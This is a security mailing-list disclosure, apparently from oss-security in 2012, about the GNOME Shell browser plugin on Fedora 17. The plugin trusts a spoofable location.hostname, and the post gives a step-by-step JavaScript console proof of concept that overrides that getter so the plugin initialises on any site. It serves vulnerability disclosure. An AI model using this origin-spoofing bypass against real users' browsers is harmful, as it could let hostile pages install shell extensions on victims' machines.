oss-security - note on gnome shell extensions

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Message-ID: <mpro.ma1ysf01zd0kg050u.taviso@cmpxchg8b.com>
Date: Sun, 9 Sep 2012 00:36:26 +0200
From: Tavis Ormandy <taviso@...xchg8b.com>
To: oss-security@...ts.openwall.com
Subject: note on gnome shell extensions

List, I just installed Fedora 17 on a workstation. While researching how to
upgrade gnome 3 to version 2, I noticed it installed a browser extension
called "Gnome Shell Integration".

$ rpm -qf /usr/lib64/mozilla/plugins/libgnome-shell-browser-plugin.so
gnome-shell-3.4.1-5.fc17.x86_64

The NPPVpluginDescriptionString states "It can be used only by
extensions.gnome.org", but I happen to know that is a tricky thing to get
right.

102   if (!funcs.getproperty (instance, NPVARIANT_TO_OBJECT (document),
103                           funcs.getstringidentifier ("location"),
104                           &location))
105     goto out;
106 
107   if (!NPVARIANT_IS_OBJECT (location))
108     goto out;
109 
110   hostname = get_string_property (instance,
111                                   NPVARIANT_TO_OBJECT (location),
112                                   "hostname");
113 
114   if (g_strcmp0 (hostname, ORIGIN))
115     {
116       g_debug ("origin does not match, is %s",
117                hostname);
118 
119       goto out;
120     }

I'm familiar with this topic as I wrote a tool for managing broken but
necessary plugins by restricting them to trusted domains.

http://code.google.com/p/nssecurity

As far as I know, browsers only attempt to prevent tampering with
document.location.href, anything else can be modified. For example, this
works in Chrome, I don't know the syntax for Mozilla:

> location.__defineGetter__("hostname", function () { return "arbitrary"; })
  undefined
> location.hostname
  "arbitrary"

However,  

> location.__defineGetter__("href", function () { return "arbitrary"; })
  undefined
> location.href
  "http://realurl.test/asdasd"

So this should fail:

> o = document.createElement('OBJECT')
  <object>?</object>?
> o.setAttribute('TYPE', 'application/x-gnome-shell-integration')
  undefined
> document.body.appendChild(o)
  <object type=?"application/?x-gnome-shell-integration">?</object>?
> o.shellVersion
  undefined

But we can re-insert it and make it work:

> document.body.removeChild(o)
  <object type=?"application/?x-gnome-shell-integration">?</object>?
> location.__defineGetter__("hostname", function () { return
"extensions.gnome.org"; })
  undefined
> document.body.appendChild(o)
  <object type=?"application/?x-gnome-shell-integration">?</object>?
> o.shellVersion
  "3.4.1"
> document.location.href
  "https://www.redhat.com/"

The plugin incorrectly trusted hostname, and initialized. As far as I can
tell, the plugin will let you install new shell extensions, I don't know
what the impact of that is, can they contain native code?

Tavis.

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